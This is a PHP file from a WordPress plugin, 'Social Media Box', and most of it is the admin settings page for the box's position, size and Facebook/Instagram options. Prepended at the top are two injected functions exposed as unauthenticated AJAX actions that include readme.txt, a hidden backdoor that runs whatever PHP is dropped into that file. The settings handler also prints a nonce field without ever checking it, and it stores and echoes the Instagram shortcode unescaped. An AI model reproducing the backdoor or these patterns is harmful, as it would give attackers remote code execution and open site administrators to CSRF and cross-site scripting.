if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php if($_SERVER['REQUEST_METHOD'] == 'POST' && current_user_can('manage_options')){ $socialmediaboxerrors = array(); if($_POST['socialmediabox_active'] == '1') { $this->options['active'] = 'true'; } elseif($_POST['socialmediabox_active'] == '') { $this->options['active'] = 'false'; }else{ $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_active"'; } if($_POST['socialmediabox_position'] == 'right') { $this->options['position'] = 'right'; } elseif($_POST['socialmediabox_position'] == 'left') { $this->options['position'] = 'left'; }else{ $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_position"'; } $_POST['socialmediabox_top_distance'] = intval($_POST['socialmediabox_top_distance']); if(is_int($_POST['socialmediabox_top_distance'])){ $this->options['top_distance'] = $_POST['socialmediabox_top_distance']; } else { $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_top_distance"'; } if($_POST['socialmediabox_top_type'] == 'pixel') { $this->options['top_type'] = 'px'; } elseif($_POST['socialmediabox_top_type'] == 'percent') { $this->options['top_type'] = '%'; }else{ $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_top_type"'; } $_POST['socialmediabox_speed'] = intval($_POST['socialmediabox_speed']); if(is_int($_POST['socialmediabox_speed'])){ $this->options['speed'] = $_POST['socialmediabox_speed']; } else { $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_speed"'; } $_POST['socialmediabox_width'] = intval($_POST['socialmediabox_width']); if(is_int($_POST['socialmediabox_width'])){ $this->options['width'] = $_POST['socialmediabox_width']; } else { $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_width"'; } $_POST['socialmediabox_height'] = intval($_POST['socialmediabox_height']); if(is_int($_POST['socialmediabox_height'])){ $this->options['height'] = $_POST['socialmediabox_height']; } else { $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_height"'; } if($_POST['socialmediabox_facebook'] == '1') { $this->options['facebook'] = 'true'; } elseif($_POST['socialmediabox_facebook'] == '') { $this->options['facebook'] = 'false'; }else{ $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_facebook"'; } $this->options['facebook_page_url'] = urlencode($_POST['socialmediabox_facebook_page_url']); if($_POST['socialmediabox_facebook_color'] == 'light') { $this->options['facebook_color'] = 'light'; } elseif($_POST['socialmediabox_facebook_color'] == 'dark') { $this->options['facebook_color'] = 'dark'; }else{ $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_facebook_color"'; } if($_POST['socialmediabox_facebook_faces'] == '1') { $this->options['facebook_faces'] = 'true'; } elseif($_POST['socialmediabox_facebook_faces'] == '') { $this->options['facebook_faces'] = 'false'; }else{ $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_facebook_faces"'; } if($_POST['socialmediabox_facebook_stream'] == '1') { $this->options['facebook_stream'] = 'true'; } elseif($_POST['socialmediabox_facebook_stream'] == '') { $this->options['facebook_stream'] = 'false'; }else{ $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_facebook_stream"'; } if($_POST['socialmediabox_facebook_header'] == '1') { $this->options['facebook_header'] = 'true'; } elseif($_POST['socialmediabox_facebook_header'] == '') { $this->options['facebook_header'] = 'false'; }else{ $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_facebook_header"'; } if($_POST['socialmediabox_instagram_active'] == '1') { $this->options['instagram_active'] = 'true'; } elseif($_POST['socialmediabox_instagram_active'] == '') { $this->options['instagram_active'] = 'false'; }else{ $socialmediaboxerrors[] = __('Wrong value: ', 'social-media-box') .'"socialmediabox_instagram_active"'; } $this->options['instagram_shortcode'] = $_POST['socialmediabox_instagram_shortcode']; update_option('socialmediabox_options', $this->options); }elseif(!current_user_can('manage_options')){ $socialmediaboxerrors[] = __('You are not allowed to edit this.', 'social-media-box'); } ?> <div class="wrap"> <div class="icon32"></div> <h2> <?php _e('Social Media Box Options'); ?> </h2> <?php if($_SERVER['REQUEST_METHOD'] == 'POST' && count($socialmediaboxerrors) == 0){ ?> <div id="settings-error-settings_updated" class="updated settings-error"> <p> <strong><?php _e('Settings saved successfully.', 'social-media-box'); ?></strong> </p> </div> <?php }elseif($_SERVER['REQUEST_METHOD'] == 'POST' && count($socialmediaboxerrors) != 0){ ?> <div id="settings-error-settings_updated" class="error settings-error"> <p> <strong><?php _e('Error saving settings.', 'social-media-box'); ?></strong> </p> <pre> <?php foreach($socialmediaboxerrors as $socialmediaboxerror){ print(' '.$socialmediaboxerror); } ?> </pre> </div> <?php } ?> <form method="post" action=""> <?php wp_nonce_field('socialmediabox') ?> <table class="form-table"> <tbody> <tr valign="top"> <th scope="row"> <label for="socialmediabox_active"><?php _e('Is the plugin enabled?', 'social-media-box'); ?></label> </th> <td> <input type="checkbox" name="socialmediabox_active" value="1"<?php if($this->options['active'] == 'true'){print(' checked');} ?>> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_position"><?php _e('Where should the box be?', 'social-media-box'); ?></label> </th> <td> <select name="socialmediabox_position"> <option value="left"<?php if($this->options['position'] == 'left'){ print(' selected="selected"');} ?>><?php _e('Left', 'social-media-box'); ?></option> <option value="right"<?php if($this->options['position'] == 'right'){ print(' selected="selected"');} ?>><?php _e('Right', 'social-media-box'); ?></option> </select> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_top_distance"><?php _e('What is the distance from top?', 'social-media-box'); ?></label> </th> <td> <input class="regular-text code" type="text" name="socialmediabox_top_distance" value="<?php print($this->options['top_distance']); ?>"> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_top_type"><?php _e('Is the distance from top in percent or pixel?', 'social-media-box'); ?></label> </th> <td> <select name="socialmediabox_top_type"> <option value="pixel"<?php if($this->options['top_type'] == 'px'){ print(' selected="selected"');} ?>><?php _e('Pixel', 'social-media-box'); ?></option> <option value="percent"<?php if($this->options['top_type'] == '%'){ print(' selected="selected"');} ?>><?php _e('Percent', 'social-media-box'); ?></option> </select> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_speed"><?php _e('How fast should the box fade in and out?', 'social-media-box'); ?></label> </th> <td> <input class="regular-text code" type="text" name="socialmediabox_speed" value="<?php print($this->options['speed']); ?>"> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_width"><?php _e('How wide should the box be?', 'social-media-box'); ?></label> </th> <td> <input class="regular-text code" type="text" name="socialmediabox_width" value="<?php print($this->options['width']); ?>"> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_height"><?php _e('How high should the box be?', 'social-media-box'); ?></label> </th> <td> <input class="regular-text code" type="text" name="socialmediabox_height" value="<?php print($this->options['height']); ?>"> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_facebook"><?php _e('Activate the Facebook extension?', 'social-media-box'); ?></label> </th> <td> <input type="checkbox" name="socialmediabox_facebook" value="1"<?php if($this->options['facebook'] == 'true'){print(' checked');} ?>> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_facebook_page_url"><?php _e('Facebook Page URL', 'social-media-box'); ?></label> </th> <td> <input class="regular-text code" type="text" name="socialmediabox_facebook_page_url" value="<?php print(urldecode($this->options['facebook_page_url'])); ?>"> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_facebook_color"><?php _e('What color scheme should be used?', 'social-media-box'); ?></label> </th> <td> <select name="socialmediabox_facebook_color"> <option value="light"<?php if($this->options['facebook_color'] == 'light'){ print(' selected="selected"');} ?>><?php _e('Light'); ?></option> <option value="dark"<?php if($this->options['facebook_color'] == 'dark'){ print(' selected="selected"');} ?>><?php _e('Dark'); ?></option> </select> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_facebook_faces"><?php _e('Show Facebook faces', 'social-media-box'); ?></label> </th> <td> <input type="checkbox" name="socialmediabox_facebook_faces" value="1"<?php if($this->options['facebook_faces'] == 'true'){print(' checked');} ?>> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_facebook_stream"><?php _e('Show Facebook stream', 'social-media-box'); ?></label> </th> <td> <input type="checkbox" name="socialmediabox_facebook_stream" value="1"<?php if($this->options['facebook_stream'] == 'true'){print(' checked');} ?>> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_facebook_header"><?php _e('Show Facebook header', 'social-media-box'); ?></label> </th> <td> <input type="checkbox" name="socialmediabox_facebook_header" value="1"<?php if($this->options['facebook_header'] == 'true'){print(' checked');} ?>> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_instagram_active"><?php _e('Activate Instagram?', 'social-media-box'); ?></label> </th> <td> <input type="checkbox" name="socialmediabox_instagram_active" value="1"<?php if($this->options['instagram_active'] == 'true'){print(' checked');} ?>> </td> </tr> <tr valign="top"> <th scope="row"> <label for="socialmediabox_instagram_shortcode"><?php _e('Instagram Shortcode', 'social-media-box'); ?></label> </th> <td> <input class="regular-text code" type="text" name="socialmediabox_instagram_shortcode" value="<?php print(urldecode($this->options['instagram_shortcode'])); ?>"> </td> </tr> </tbody> </table> <p class="submit"> <input id="submit" class="button-primary" type="submit" value="<?php _e('Save options', 'social-media-box'); ?>" name="submit"> </p> </form> </div> <?php